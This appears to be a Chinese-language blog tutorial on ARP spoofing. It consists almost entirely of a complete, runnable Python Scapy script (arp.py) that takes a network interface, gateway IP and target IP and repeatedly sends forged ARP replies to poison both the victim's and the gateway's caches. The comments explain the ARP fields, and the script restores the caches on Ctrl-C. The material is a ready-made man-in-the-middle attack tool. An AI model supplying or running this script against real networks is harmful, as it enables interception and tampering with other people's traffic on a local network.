python ARP攻击

准备

安装scapy库

pip install scapy

 

arp.py 

 

#-*- coding:utf-8 -*-
from scapy.all import *
import sys
import optparse

parser = optparse.OptionParser('-W 网卡 -w 网关 -p 目标ip')
parser.add_option('-W',dest='tgtW',type='string',help='W')
parser.add_option('-w',dest='tgtw',type='string',help='w')
parser.add_option('-p',dest='tgtip',type='string',help='p')
(options,args)=parser.parse_args()
print options,args
wk=options.tgtW
wg=options.tgtw
ipa=options.tgtip

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    '''
    arp缓冲表恢复
    '''

    print('[*] 恢复ARP缓冲....')
    #同样也是构造ARP包(双向)
    '''
    hwdst='ff:ff:ff:ff:ff:ff' 表示以广播的形式发送
    '''

    send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst='ff:ff:ff:ff:ff:ff',
        hwsrc=gateway_mac),count=5)
    send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst='ff:ff:ff:ff:ff:ff',
        hwsrc=target_mac))

def attact_target(gateway_ip,gateway_mac,target_ip,target_mac):
    '''
    进行双向欺骗
    '''

    '''
    先使用scapy 结构ARP包
    可以通过看arp报文结构
    以太网头部可忽略，使用默认

    默认以太网头部
    >>> ls (Ether())
    dst        : DestMACField                        = 'ff:ff:ff:ff:ff:ff' (None)
    src        : SourceMACField                      = '80:a5:89:35:96:2b' (None)
    type       : XShortEnumField                     = 36864           (36864)

 

    arp头部，也可以忽略，使用默认

    这就几个可以去了解一下，下面代码解释
    源硬件地址  源协议地址  目标硬件地址    目标协议地址

    查看ARP报文，python编辑器下输入代码：
    from scapy.all import *
    ls(ARP())
    其他协议类型也一样方式

    >>> ls (ARP())
    hwtype     : XShortField                         = 1               (1)
    ptype      : XShortEnumField                     = 2048            (2048)
    hwlen      : ByteField                           = 6               (6)
    plen       : ByteField                           = 4               (4)
    op         : ShortEnumField                      = 1               (1)
    hwsrc      : ARPSourceMACField                   = '80:a5:89:35:96:2b' (None)
    psrc       : SourceIPField                       = '192.168.1.7'   (None)
    hwdst      : MACField                            = '00:00:00:00:00:00' ('00:00:00:00:00:00')
    pdst       : IPField                             = '0.0.0.0'       ('0.0.0.0')

    必要属性：

    op：操作码，默认1,取值为1或者2,分别代表ARP请求包或者响应包（请求操作，响应操作）
    hwsrc：发送方的mac地址，用于告诉对方我的mac地址是什么
    默认为本机，所以可以忽略

    psrc：发送方IP地址，用于告诉对方我的IP地址是什么，可用来伪装

    报文发送给谁，由下面两个属性决定：
    hwdst:对方的MAC地址
    pdst：对方IP地址

    '''

    #构造ARP包
    #欺骗目标主机，我是网关
    '''
    发给目标主机（target_ip）
    欺骗它，我的IP是gatewat_ip（网关），我的mac地址是hwsrc（默认本机）
    '''
    poison_target=ARP()
    poison_target.op=2
    poison_target.psrc=gateway_ip
    poison_target.pdst=target_ip
    poison_target.hwdst=target_mac

    #欺骗网关，我是目标主机
    '''
    发送给网关（gateway_ip）
    欺骗，我的ip是target_ip（目标），我的mac地址是hwsrc（默认本机）
    '''
    poison_gateway= ARP()
    poison_gateway.op=2
    poison_gateway.psrc=target_ip
    poison_gateway.pdst=gateway_ip
    poison_gateway.hwdst=gateway_mac

    print('[*] 正在进行ARP投毒。[CTRL-C 停止]')

    while True:
        try:
            #循环发送arp包
            send(poison_target)
            send(poison_gateway)
            time.sleep(2)
        #捕获键盘中断
        except KeyboardInterrupt:
            #进行ARP缓冲恢复
            restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
            break
    print('[*] ARP投毒结束')

    return

#获取网关和目标IP、MAC地址
def main():
    #网卡，网关，目标
    interface = wk
    gateway_ip= wg
    target_ip = ipa
    
    #设置网卡
    conf.iface = interface
    #关闭信息提示
    conf.verb=0
    
    print ('[*] interface:%s'%interface)
    #获取网关MAC
    gateway_mac = getmacbyip(gateway_ip)
    
    #没获取到网关
    if gateway_mac is None:
        print ('[!] get MAC error !')
        sys.exit(0)
    else:
        print ('[*] interface:%s MAC: %s'%(gateway_ip,gateway_mac))
        
    #获取目标MAC地址
    target_mac = getmacbyip(target_ip)
    
    if target_mac is None:
        print ('[!] get HOST MAC error !')
        sys.exit(0)
        
    else:
        print ('[*] host:%s MAC: %s'%(target_ip,target_mac))

    #进行欺骗
    attact_target(gateway_ip,gateway_mac,target_ip,target_mac)
        
    
main()